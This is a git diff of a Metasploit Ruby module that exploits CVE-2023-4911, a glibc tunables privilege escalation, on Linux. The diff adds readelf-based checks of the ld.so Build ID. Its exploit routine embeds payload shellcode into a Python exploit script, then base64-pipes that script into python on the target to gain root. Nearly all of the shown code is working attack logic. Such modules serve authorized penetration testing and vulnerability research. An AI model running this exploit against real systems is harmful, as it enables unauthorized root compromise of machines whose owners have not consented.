diff --git a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb index cf7a401b7cdd4..813aa64b23396 100644 --- a/modules/exploits/linux/local/glibc_tunables_priv_esc.rb +++ b/modules/exploits/linux/local/glibc_tunables_priv_esc.rb @@ -84,12 +84,9 @@ def initialize(info = {}) } ) ) - register_advanced_options([ - OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) - ]) end - def find_exec_program + def find_python %w[python python3].select(&method(:command_exists?)).first rescue StandardError => e fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}") @@ -124,10 +121,45 @@ def check def check_ld_so_build_id # Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so - if !command_exists?('file') - print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') - return + if command_exists?('file') + check_ld_so_build_id_file + elsif command_exists?('readelf') + check_ld_so_build_id_readelf + else + print_warning('Unable to locate the commands to verify the BuildID for ld.so.') end + end + + def check_ld_so_build_id_readelf + file_cmd_output = '' + + # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not + # defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default. + sysinfo = get_sysinfo + case sysinfo[:distro] + when 'ubuntu' + if command_exists?('ldconfig') + file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"') + end + when 'debian' + file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"') + else + fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution') + end + + if file_cmd_output =~ /Build ID: (\w+)$/ + build_id = Regexp.last_match(1) + if BUILD_IDS.keys.include?(build_id) + print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.") + else + fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") + end + else + print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.') + end + end + + def check_ld_so_build_id_file file_cmd_output = '' # This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not @@ -152,27 +184,26 @@ def check_ld_so_build_id fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.") end else - print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.') + print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.') end end def exploit fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root? - python_binary = find_exec_program + python_binary = find_python fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary vprint_status("Using '#{python_binary}' to run the exploit") check_ld_so_build_id - # The python script assumes the working directory is the one we can write to. - cd(datastore['WritableDir']) shell_code = payload.encoded.unpack('H*').first exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py') exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code) exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':')) + vprint_status('All good let\'s go.') # If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}") if output.blank?